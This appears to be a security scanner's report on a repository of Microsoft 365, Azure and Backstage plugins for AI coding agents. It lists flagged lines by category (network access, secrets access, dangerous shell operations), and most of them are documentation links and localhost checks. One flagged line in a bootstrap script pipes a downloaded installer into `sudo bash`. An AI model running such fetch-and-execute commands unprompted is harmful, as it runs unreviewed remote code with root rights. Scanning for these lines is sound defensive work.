| --- | --- | --- | --- | | GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 | | Jira MCP Server | `https://your-domain.atlassian.net/mcp/` | `search_issues`, `cr - Network accessline 101
| GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 | - Network accessline 102
| Jira MCP Server | `https://your-domain.atlassian.net/mcp/` | `search_issues`, `create_issue`, `update_issue` | OAuth 2.0 | - Network accessline 103
| Custom Service | `https://{api-host}/mcp/` | Custom tools exposed by your service | OAuth 2.0 or SSO | - Network accessline 145
- Provisioning: pass | not run | blocked - Local debug/sideload: pass | not run | blocked - Microsoft 365 Copilot test at `https://m365.cloud.microsoft/chat`: pass | not run | blocked - Network accessline 147
- Microsoft 365 Copilot test at `https://m365.cloud.microsoft/chat`: pass | not run | blocked - Access to secretsline 156
[Credential-related source omitted] - Network accessline 162
- [Microsoft Teams manifest schema](https://developer.microsoft.com/json-schemas/teams/vDevPreview/MicrosoftTeams.schema.json) - Network accessline 163
- [Declarative agent schema](https://aka.ms/json-schemas/copilot/declarative-agent/v1.0/schema.json) - Network accessline 164
- [Microsoft 365 Copilot chat](https://m365.cloud.microsoft/chat)
harness/claude-code/plugins/mcp-m365-copilot/skills/mcp-deploy-manage-agents/SKILL.md
- Network accessline 26
- Access the Microsoft 365 admin center at https://admin.microsoft.com/ for tenant agent registry, availability, deployment, blocking, and assignment. - Network accessline 27
- Use the Power Platform admin center at https://admin.powerplatform.microsoft.com/ when the agent is an App Builder agent, Workflows agent, agent studio agent, or flow-backed agent. - Network accessline 28
- Use Partner Center at https://learn.microsoft.com/en-us/partner-center/ only for public Agent Store submission and validation. - Network accessline 140
- [Microsoft 365 admin center](https://admin.microsoft.com/) - Network accessline 141
- [Power Platform admin center](https://admin.powerplatform.microsoft.com/) - Network accessline 142
- [Partner Center for agent submissions](https://learn.microsoft.com/en-us/partner-center/) - Network accessline 143
- [Microsoft Agent 365 Overview](https://learn.microsoft.com/en-us/microsoft-agent-365/overview) - Network accessline 144
- [Agent Registry Documentation](https://learn.microsoft.com/en-us/microsoft-365/admin/manage/agent-registry)
harness/claude-code/plugins/microsoft-365-data-platform/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/microsoft-365-data-platform/skills/msgraph-sdk/SKILL.md
- Network accessline 76
| Resource data notifications | High-volume scenarios need changed resource payloads. | Requires additional encryption setup. | | Retry middleware | Production workloads may hit 429. | Enable SDK retry middleware or implement exact `Retry-A - Network accessline 78
| Least privilege | Avoid broad permissions. | Use https://learn.microsoft.com/graph/permissions-reference and admin consent only when required. | - Network accessline 153
- [Microsoft Graph overview](https://learn.microsoft.com/graph/overview) - Network accessline 154
- [Graph Explorer](https://developer.microsoft.com/graph/graph-explorer) - Network accessline 155
- [Graph permissions reference](https://learn.microsoft.com/graph/permissions-reference)
harness/claude-code/plugins/microsoft-365-data-platform/skills/msgraph-sdk/references/dotnet.md
- Network accessline 7
- SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-dotnet> - Network accessline 8
- Samples: <https://github.com/microsoftgraph/msgraph-training-dotnet> - Network accessline 9
- SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-dotnet/blob/main/CHANGELOG.md> - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 59
[Credential-related source omitted]
harness/claude-code/plugins/microsoft-365-data-platform/skills/msgraph-sdk/references/python.md
- Network accessline 7
- SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-python> - Network accessline 8
- Samples: <https://github.com/microsoftgraph/msgraph-training-python> - Network accessline 9
- SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-python/blob/main/CHANGELOG.md> - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 47
[Credential-related source omitted] - Access to secretsline 48
[Credential-related source omitted] - Access to secretsline 63
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 65
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Network accessline 210
[Credential-related source omitted] - Network accessline 211
[Credential-related source omitted] - Network accessline 212
async with httpx.AsyncClient() as client: - Network accessline 213
[Credential-related source omitted] - Network accessline 214
"https://graph.microsoft.com/v1.0/$batch",
harness/claude-code/plugins/microsoft-365-data-platform/skills/msgraph-sdk/references/typescript.md
- Network accessline 7
- SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-javascript> - Network accessline 8
- Samples: <https://github.com/microsoftgraph/msgraph-training-typescript> - Network accessline 9
- SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-javascript/blob/main/CHANGELOG.md> - Network accessline 33
const credential = new DefaultAzureCredential(); const authProvider = new TokenCredentialAuthenticationProvider(credential, { scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Network accessline 34
const authProvider = new TokenCredentialAuthenticationProvider(credential, { scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], }); - Network accessline 35
scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Access to secretsline 49
[Credential-related source omitted] - Network accessline 52
const authProvider = new TokenCredentialAuthenticationProvider(credential, { scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Network accessline 53
scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Access to secretsline 68
[Credential-related source omitted] - Network accessline 72
const authProvider = new TokenCredentialAuthenticationProvider(credential, { scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Network accessline 73
scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Network accessline 88
// Opens a browser tab — requires redirect URI http://localhost in app registration
harness/claude-code/plugins/napkin/.claude-plugin/plugin.json
harness/claude-code/plugins/napkin/skills/napkin/assets/step1-activate.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="460" viewBox="0 0 800 460">
harness/claude-code/plugins/napkin/skills/napkin/assets/step2-whiteboard.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">
harness/claude-code/plugins/napkin/skills/napkin/assets/step3-draw.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">
harness/claude-code/plugins/napkin/skills/napkin/assets/step4-share.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">
harness/claude-code/plugins/napkin/skills/napkin/assets/step5-response.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">
harness/claude-code/plugins/noob-mode/.claude-plugin/plugin.json
harness/claude-code/plugins/noob-mode/skills/noob-mode/references/examples.md
harness/claude-code/plugins/noob-mode/skills/noob-mode/references/glossary.md
- Network accessline 252
**Plain English:** A web address. The text you type in a browser's address bar. **Analogy:** A street address, but for websites. **Example in context:** "`https://github.com/settings`" = "The settings page on GitHub's website." - Network accessline 254
**Example in context:** "`https://github.com/settings`" = "The settings page on GitHub's website." - Network accessline 280
**Plain English:** A way of referring to your own computer as if it were a web server. Used for testing. **Analogy:** Rehearsing a presentation in your own office before giving it in the conference room. **Example in context:** "`http://loc - Network accessline 282
**Example in context:** "`http://localhost:3000`" = "A website running on your own computer, on channel 3000."
harness/claude-code/plugins/open-horizons-platform/.claude-plugin/plugin.json
- Network accessline 5
"author": { "name": "Open Horizons Contributors", "url": "https://github.com/Ohorizons" - Network accessline 6
"name": "Open Horizons Contributors", "url": "https://github.com/Ohorizons" }, - Network accessline 7
"url": "https://github.com/Ohorizons" - Network accessline 8
}, "homepage": "https://github.com/Ohorizons/open-horizons-platform", "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 9
"homepage": "https://github.com/Ohorizons/open-horizons-platform", - Network accessline 10
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-agentic-architecture-patterns/SKILL.md
- Network accessline 65
- [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/) - Network accessline 66
- [Azure Well-Architected for AI workloads](https://learn.microsoft.com/azure/well-architected/ai/) - Network accessline 67
- [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/) - Network accessline 68
- [Model Context Protocol](https://modelcontextprotocol.io/) - Network accessline 69
- [GitHub Models](https://docs.github.com/github-models)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-agentic-architecture-patterns/references/caching.md
- Network accessline 46
- [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy) - Network accessline 47
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/) - Network accessline 48
- [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-agentic-architecture-patterns/references/context-curation.md
- Network accessline 47
- [Retrieval augmented generation on Azure AI Search](https://learn.microsoft.com/azure/search/retrieval-augmented-generation-overview) - Network accessline 48
- [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/) - Network accessline 49
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-agentic-architecture-patterns/references/evaluation-observability-cost.md
- Network accessline 35
- [Azure AI Foundry evaluation](https://learn.microsoft.com/azure/ai-foundry/concepts/evaluation-approach-gen-ai) - Network accessline 36
- [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/) - Network accessline 37
- [Monitor generative AI applications](https://learn.microsoft.com/azure/ai-foundry/how-to/monitor-applications) - Network accessline 38
- [Azure Well-Architected cost optimization](https://learn.microsoft.com/azure/well-architected/cost-optimization/)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-agentic-architecture-patterns/references/guardrails-and-identity.md
- Network accessline 36
- [Microsoft Entra Agent ID](https://learn.microsoft.com/entra/) - Network accessline 37
- [Azure AI Content Safety](https://learn.microsoft.com/azure/ai-services/content-safety/) - Network accessline 38
- [Prompt Shields](https://learn.microsoft.com/azure/ai-services/content-safety/concepts/jailbreak-detection) - Network accessline 39
- [Azure Well-Architected security for AI](https://learn.microsoft.com/azure/well-architected/ai/)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-agentic-architecture-patterns/references/memory.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-agentic-architecture-patterns/references/model-routing.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-agentic-architecture-patterns/references/tools-and-mcp.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-api-center/SKILL.md
- Network accessline 123
- [Azure API Center](https://learn.microsoft.com/azure/api-center/) - Network accessline 124
- [Register APIs in API Center](https://learn.microsoft.com/azure/api-center/register-apis) - Network accessline 125
- [API governance and linting](https://learn.microsoft.com/azure/api-center/enable-api-analysis-linting) - Network accessline 126
- [API Center and API Management](https://learn.microsoft.com/azure/api-center/)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-apim-ai-gateway/SKILL.md
- Network accessline 130
- [Azure API Management AI gateway capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities) - Network accessline 131
- [Token limit policy](https://learn.microsoft.com/azure/api-management/llm-token-limit-policy) - Network accessline 132
- [Semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy) - Network accessline 133
- [Load balancing and circuit breaker for backends](https://learn.microsoft.com/azure/api-management/backends)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-appinsights-instrumentation/references/AUTO.md
- Network accessline 3
Use Azure Portal to auto-instrument a webapp hosted in Azure App Service for App Insights without making any code changes. Only the following types of app can be auto-instrumented. See [supported environments and resource providers](https:/ - Network accessline 10
https://portal.azure.com/#resource/subscriptions/{subscription_id}/resourceGroups/{resource_group_name}/providers/Microsoft.Web/sites/{app_service_name}/monitoringSettings
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-appinsights-instrumentation/scripts/appinsights.ps1
- Executable scriptline 1
Executable file
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-argocd-cli/references/commands.md
- Network accessline 7
# Add ArgoCD Helm repo helm repo add argo https://argoproj.github.io/argo-helm - Network accessline 8
helm repo add argo https://argoproj.github.io/argo-helm - Network accessline 40
# Or add via CLI argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \ - Network accessline 41
argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-cli/scripts/setup-identity-federation.sh
- Executable scriptline 1
#!/bin/bash - Dangerous shell operationline 202
trap "rm -f '$tmp'" RETURN - Network accessline 206
{ "name": "${name}", "issuer": "https://token.actions.githubusercontent.com", - Network accessline 207
"name": "${name}", "issuer": "https://token.actions.githubusercontent.com", "audiences": ["api://AzureADTokenExchange"], - Network accessline 208
"issuer": "https://token.actions.githubusercontent.com", - Network accessline 219
{ "name": "${name}", "issuer": "https://token.actions.githubusercontent.com", - Network accessline 220
"name": "${name}", "issuer": "https://token.actions.githubusercontent.com", "subject": "${subject}", - Network accessline 221
"issuer": "https://token.actions.githubusercontent.com",
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-cost-optimize/SKILL.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-draw-io-diagram-generator/references/diagram-quality-standard.md
- Network accessline 5
Verification date: 2026-08-25. Primary source: [Create architecture design diagrams](https://learn.microsoft.com/en-us/azure/well-architected/architect-role/design-diagrams).
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-draw-io-diagram-generator/references/drawio-xml-schema.md
- Network accessline 133
iconProvider="azure" iconProduct="Azure Key Vault" iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/" - Network accessline 134
iconProduct="Azure Key Vault" iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/" iconTerms="https://learn.microsoft.com/en-us/azure/architecture/icons/" - Network accessline 135
iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/" - Network accessline 136
iconTerms="https://learn.microsoft.com/en-us/azure/architecture/icons/"
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-draw-io-diagram-generator/references/official-icon-policy.md
- Network accessline 20
| Family | Official source | Permitted diagram use and constraints | | --- | --- | --- | | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distribu - Network accessline 21
| --- | --- | --- | | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distributing, and displaying the supplied icons in architecture diagrams, tra - Network accessline 22
| Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distributing, and displaying the supplied icons in architecture diagrams, training materials, or - Network accessline 23
| Microsoft Entra | [Microsoft Entra architecture icons](https://learn.microsoft.com/en-us/entra/architecture/architecture-icons) | Same architecture, training, and documentation permission. Do not use the architecture icons in marketing co - Network accessline 24
| Microsoft Fabric | [Microsoft Fabric icons](https://learn.microsoft.com/en-us/fabric/fundamentals/icons) | Use product, experience, and item icons in diagrams, slide decks, training, or documentation without altering them. Label the exact - Network accessline 25
| Power Platform | [Microsoft Power Platform icons](https://learn.microsoft.com/en-us/power-platform/guidance/icons) | Use in architecture diagrams, training materials, or documentation. Preserve the icons and use them only for the represen - Network accessline 26
| Dynamics 365 | [Microsoft Dynamics 365 icons](https://learn.microsoft.com/en-us/dynamics365/get-started/icons) | Use in architecture diagrams, training materials, or documentation. Do not use removed or deprecated app icons from older pac - Network accessline 27
| Microsoft 365 | [Microsoft 365 architecture icons and templates](https://learn.microsoft.com/en-us/previous-versions/microsoft-365/solutions/architecture-icons-templates) | The first-party page is archived and retired. Treat it as a fallb - Network accessline 28
| General Microsoft brand assets | [Microsoft Trademark and Brand Guidelines](https://www.microsoft.com/en-us/legal/intellectualproperty/trademarks) | Many logos, app icons, and product icons require a license. Product-family architecture t - Network accessline 29
| GitHub interface concepts | [GitHub Primer Octicons](https://github.com/primer/octicons) | Octicons are GitHub-built SVG interface icons and the repository code license is MIT. Use them for covered interface or workflow concepts, not as s - Network accessline 30
| GitHub logos and product lockups | [GitHub brand logo guidance](https://brand.github.com/foundations/logo) | Use only in permitted contexts, with high contrast and secondary placement. Do not imply affiliation, use a GitHub mark as the us - Network accessline 31
| GitHub Copilot | [GitHub Copilot brand guidance](https://brand.github.com/brand-identity/copilot) | Use current product lockups only when the use is permitted. The former standalone GitHub Copilot logo has been deprecated since 2025; do n
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-draw-io-diagram-generator/scripts/.gitignore
- Executable scriptline 1
Executable file
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-draw-io-diagram-generator/scripts/README.md
- Network accessline 61
python scripts/add-icon.py docs/architecture.drawio ./icons/key-vault.svg "Azure Key Vault" 320 180 --provider azure --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ - Network accessline 62
"Azure Key Vault" 320 180 \ --provider azure \ --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \ - Network accessline 63
--provider azure \ --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \ --terms-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \ - Network accessline 64
--source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \ - Network accessline 65
--terms-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-draw-io-diagram-generator/scripts/add-icon.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-draw-io-diagram-generator/scripts/add-shape.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-draw-io-diagram-generator/scripts/validate-drawio.py
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-entra-agent-user/SKILL.md
- Network accessline 103
- [Microsoft Entra Agent ID documentation](https://learn.microsoft.com/entra/agent-id/)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-import-infrastructure-as-code/SKILL.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-infrastructure/scripts/bootstrap.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 154
echo "Install missing tools:" echo " terraform: brew install terraform" echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 155
echo " terraform: brew install terraform" echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" echo " kubectl: az aks install-cli" - Dangerous shell operationline 156
echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 156
echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 309
CLUSTER_NAME=$(terraform output -raw kubernetes_cluster_name) ACR_NAME=$(terraform output -raw acr_login_server | cut -d'.' -f1) KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1) - Network accessline 311
KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1) - Network accessline 364
log_step "Installing ArgoCD..." kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml - Network accessline 365
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-infrastructure/scripts/platform-bootstrap.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 536
echo "Access URLs:" echo " ArgoCD: https://${argocd_url}" - Network accessline 537
echo " ArgoCD: https://${argocd_url}" - Network accessline 538
echo " Backstage: https://${backstage_url}" - Network accessline 539
echo " Grafana: https://${grafana_url}" - Dangerous shell operationline 591
rm -f "$CHECKPOINT_FILE"
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-managed-redis-cache/references/access-and-network.md
- Network accessline 32
- [Authenticate to Azure Managed Redis with Microsoft Entra ID](https://learn.microsoft.com/azure/redis/entra-for-authentication) - Network accessline 33
- [Azure Managed Redis network isolation](https://learn.microsoft.com/azure/redis/) - Network accessline 34
- [DefaultAzureCredential](https://learn.microsoft.com/azure/developer/intro/azure-developer-create-resources)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-managed-redis-cache/references/semantic-cache.md
- Network accessline 39
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search) - Network accessline 40
- [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/user_guide/llmcache/) - Network accessline 41
- [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-managed-redis-cache/references/session-store.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-managed-redis-cache/references/vector-memory.md
- Network accessline 32
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search) - Network accessline 33
- [RedisVL vector queries](https://redis.io/docs/latest/integrate/redisvl/) - Network accessline 34
- [Azure AI Search vector search](https://learn.microsoft.com/azure/search/vector-search-overview)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-observability-stack/SKILL.md
- Network accessline 31
# Add Helm repos helm repo add prometheus-community https://prometheus-community.github.io/helm-charts - Network accessline 32
helm repo add prometheus-community https://prometheus-community.github.io/helm-charts - Network accessline 79
# Check Prometheus targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 80
curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 83
[Credential-related source omitted] - Network accessline 85
curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name' - Network accessline 98
# Query Prometheus API curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result' - Network accessline 99
curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result' - Network accessline 101
# Check targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 102
curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 114
[Credential-related source omitted] - Network accessline 116
curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name' - Network accessline 124
# List active alerts curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname' - Network accessline 125
curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname'
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-observability-stack/references/troubleshooting.md
- Network accessline 14
# Check for scrape errors curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}' - Network accessline 15
curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}'
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-pricing/SKILL.md
- Network accessline 35
GET https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview - Network accessline 38
Append `$filter` with OData syntax. Keep `api-version=2023-01-01-preview` because savings plan data appears in that version. URL-encode spaces as `%20` and quotes as `%27` when constructing a full URL such as `https://prices.azure.com/api/r - Network accessline 107
| URL | Content | | --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | - Network accessline 108
| --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/billi - Network accessline 109
| https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | - Network accessline 110
| https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing | Licensing options, M365 Copilot inclusions, prepaid and pay-as-you-go context. | - Network accessline 196
- [Azure Retail Prices API](https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview) - Network accessline 197
- [Copilot Studio requirements, messages, and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management) - Network accessline 198
- [Copilot Studio billing and licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-pricing/references/COPILOT-STUDIO-RATES.md
- Network accessline 3
> Source: [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management) - Network accessline 4
> Estimator: [Microsoft agent usage estimator](https://microsoft.github.io/copilot-studio-estimator/) - Network accessline 5
> Licensing Guide: [Copilot Studio Licensing Guide](https://go.microsoft.com/fwlink/?linkid=2320995) - Network accessline 133
- [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management) - Network accessline 134
- [Copilot Studio licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing) - Network accessline 135
- [Copilot Studio Licensing Guide (PDF)](https://go.microsoft.com/fwlink/?linkid=2320995)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-well-architected-review/SKILL.md
- Network accessline 95
- [Azure Well-Architected Framework](https://learn.microsoft.com/azure/well-architected/)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-app-frontend-system-migration/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-app-frontend-system-migration/references/upstream/SKILL.md
- Network accessline 648
- [App migration guide](https://backstage.io/docs/frontend-system/building-apps/migrating) - Network accessline 649
- [Architecture overview](https://backstage.io/docs/frontend-system/architecture/index) - Network accessline 650
- [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints) - Network accessline 651
- [Installing plugins](https://backstage.io/docs/frontend-system/building-apps/installing-plugins)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-mui-to-bui-migration/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-mui-to-bui-migration/references/upstream/SKILL.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-onboard-to-openapi-server/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-onboard-to-openapi-server/references/upstream/SKILL.md
- Network accessline 76
- [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml) — small, modern reference. - Network accessline 77
- [`plugins/scaffolder-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/schema/openapi.yaml) — larger, with more parameter and schema reuse. - Network accessline 78
- [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml) — largest, good for query-param-heavy endpoints. - Network accessline 145
[`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts) is the canonical example. - Network accessline 178
[`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated) is a reference for what a client output looks like. - Network accessline 202
[`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts) and [`plugins/catalog-backend/src/service/createRouter.test.ts`](https://git - Network accessline 216
These all live in [`backstage/backstage`](https://github.com/backstage/backstage); the user's workspace likely doesn't contain them. Browse via the links below. - Network accessline 218
| What you need | Where to read | | ---------- - Network accessline 219
| ---------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | Spec examp - Network accessline 220
| Spec example (small) | [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml) | - Network accessline 221
| Spec example (large) | [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml) | - Network accessline 222
